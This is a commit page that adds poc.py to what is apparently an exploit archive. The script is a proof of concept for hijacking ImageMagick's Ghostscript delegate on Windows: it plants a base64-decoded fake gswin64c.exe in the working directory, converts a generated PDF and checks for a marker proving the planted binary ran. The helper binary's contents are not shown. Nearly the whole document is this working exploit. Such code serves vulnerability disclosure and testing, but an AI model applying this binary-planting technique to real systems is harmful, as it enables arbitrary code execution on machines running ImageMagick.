Add exploitarium archive
This commit is contained in:
182
imagemagick-gs-delegate-hijack-poc/poc.py
Normal file
182
imagemagick-gs-delegate-hijack-poc/poc.py
Normal file
@@ -0,0 +1,182 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def sha256(path):
|
||||
h = hashlib.sha256()
|
||||
with open(path, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(1024 * 1024), b""):
|
||||
h.update(chunk)
|
||||
return h.hexdigest().upper()
|
||||
|
||||
|
||||
def build_pdf():
|
||||
objects = [
|
||||
b"<< /Type /Catalog /Pages 2 0 R >>",
|
||||
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
|
||||
b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>",
|
||||
b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream",
|
||||
]
|
||||
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
|
||||
offsets = [0]
|
||||
for index, body in enumerate(objects, start=1):
|
||||
offsets.append(len(out))
|
||||
out.extend(f"{index} 0 obj\n".encode("ascii"))
|
||||
out.extend(body)
|
||||
out.extend(b"\nendobj\n")
|
||||
xref = len(out)
|
||||
out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
|
||||
out.extend(b"0000000000 65535 f \n")
|
||||
for offset in offsets[1:]:
|
||||
out.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
|
||||
out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii"))
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def run(cmd, cwd, env):
|
||||
return subprocess.run(
|
||||
cmd,
|
||||
cwd=str(cwd),
|
||||
env=env,
|
||||
text=True,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
shell=False,
|
||||
)
|
||||
|
||||
|
||||
def find_exe(name, explicit):
|
||||
if explicit:
|
||||
path = Path(explicit).expanduser().resolve()
|
||||
if not path.exists():
|
||||
raise SystemExit(f"{name} was not found: {path}")
|
||||
return path
|
||||
found = shutil.which(name)
|
||||
if not found:
|
||||
raise SystemExit(f"{name} was not found in PATH; pass its path explicitly")
|
||||
return Path(found).resolve()
|
||||
|
||||
|
||||
def write_text(path, text):
|
||||
path.write_text(text, encoding="utf-8", errors="replace")
|
||||
|
||||
|
||||
def load_helper_payload():
|
||||
payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64"
|
||||
if not payload.exists():
|
||||
raise SystemExit(f"helper payload missing: {payload}")
|
||||
return base64.b64decode("".join(payload.read_text(encoding="ascii").split()))
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC")
|
||||
parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.")
|
||||
parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.")
|
||||
parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.")
|
||||
parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.")
|
||||
args = parser.parse_args()
|
||||
|
||||
if platform.system() != "Windows":
|
||||
raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.")
|
||||
|
||||
magick = find_exe("magick.exe", args.magick)
|
||||
if args.gs_bin:
|
||||
gs_bin = Path(args.gs_bin).expanduser().resolve()
|
||||
gs_exe = gs_bin / "gswin64c.exe"
|
||||
if not gs_exe.exists():
|
||||
raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}")
|
||||
else:
|
||||
gs_exe = find_exe("gswin64c.exe", None)
|
||||
gs_bin = gs_exe.parent
|
||||
|
||||
if args.workdir:
|
||||
root = Path(args.workdir).expanduser().resolve()
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
else:
|
||||
root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve()
|
||||
|
||||
control = root / "control"
|
||||
hijack = root / "hijack"
|
||||
fallback = root / "ghostscript-path-without-dll"
|
||||
for directory in (control, hijack, fallback):
|
||||
directory.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
for directory in (control, hijack):
|
||||
(directory / "benign.pdf").write_bytes(build_pdf())
|
||||
|
||||
helper = hijack / "gswin64c.exe"
|
||||
helper.write_bytes(load_helper_payload())
|
||||
marker = hijack / "marker.txt"
|
||||
|
||||
env = os.environ.copy()
|
||||
env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "")
|
||||
env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback)
|
||||
env["IM_GS_MARKER"] = str(marker)
|
||||
if args.magick_configure_path:
|
||||
env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve())
|
||||
|
||||
magick_version = run([str(magick), "-version"], root, env)
|
||||
gs_version = run([str(gs_exe), "--version"], root, env)
|
||||
control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env)
|
||||
hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env)
|
||||
|
||||
write_text(control / "stdout.txt", control_result.stdout)
|
||||
write_text(control / "stderr.txt", control_result.stderr)
|
||||
write_text(hijack / "stdout.txt", hijack_result.stdout)
|
||||
write_text(hijack / "stderr.txt", hijack_result.stderr)
|
||||
|
||||
marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else ""
|
||||
result = {
|
||||
"workdir": str(root),
|
||||
"magick": {
|
||||
"path": str(magick),
|
||||
"sha256": sha256(magick),
|
||||
"version": magick_version.stdout.strip(),
|
||||
},
|
||||
"ghostscript": {
|
||||
"path": str(gs_exe),
|
||||
"sha256": sha256(gs_exe),
|
||||
"version": gs_version.stdout.strip(),
|
||||
},
|
||||
"helper": {
|
||||
"path": str(helper),
|
||||
"sha256": sha256(helper),
|
||||
},
|
||||
"control": {
|
||||
"exit_code": control_result.returncode,
|
||||
"output_png": str(control / "control.png"),
|
||||
"output_exists": (control / "control.png").exists(),
|
||||
},
|
||||
"hijack": {
|
||||
"exit_code": hijack_result.returncode,
|
||||
"marker": str(marker),
|
||||
"marker_exists": marker.exists(),
|
||||
"marker_text": marker_text,
|
||||
},
|
||||
}
|
||||
|
||||
result_path = root / "result.json"
|
||||
result_path.write_text(json.dumps(result, indent=2), encoding="utf-8")
|
||||
|
||||
print(json.dumps(result, indent=2))
|
||||
if not result["control"]["output_exists"]:
|
||||
raise SystemExit("Control conversion did not produce output; check control/stderr.txt")
|
||||
if not result["hijack"]["marker_exists"]:
|
||||
raise SystemExit("Hijack marker was not written; check hijack/stderr.txt")
|
||||
if "fake gswin64c executed" not in marker_text:
|
||||
raise SystemExit("Hijack marker did not contain the expected helper output")
|
||||
print(f"\nPoC verified. Evidence directory: {root}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user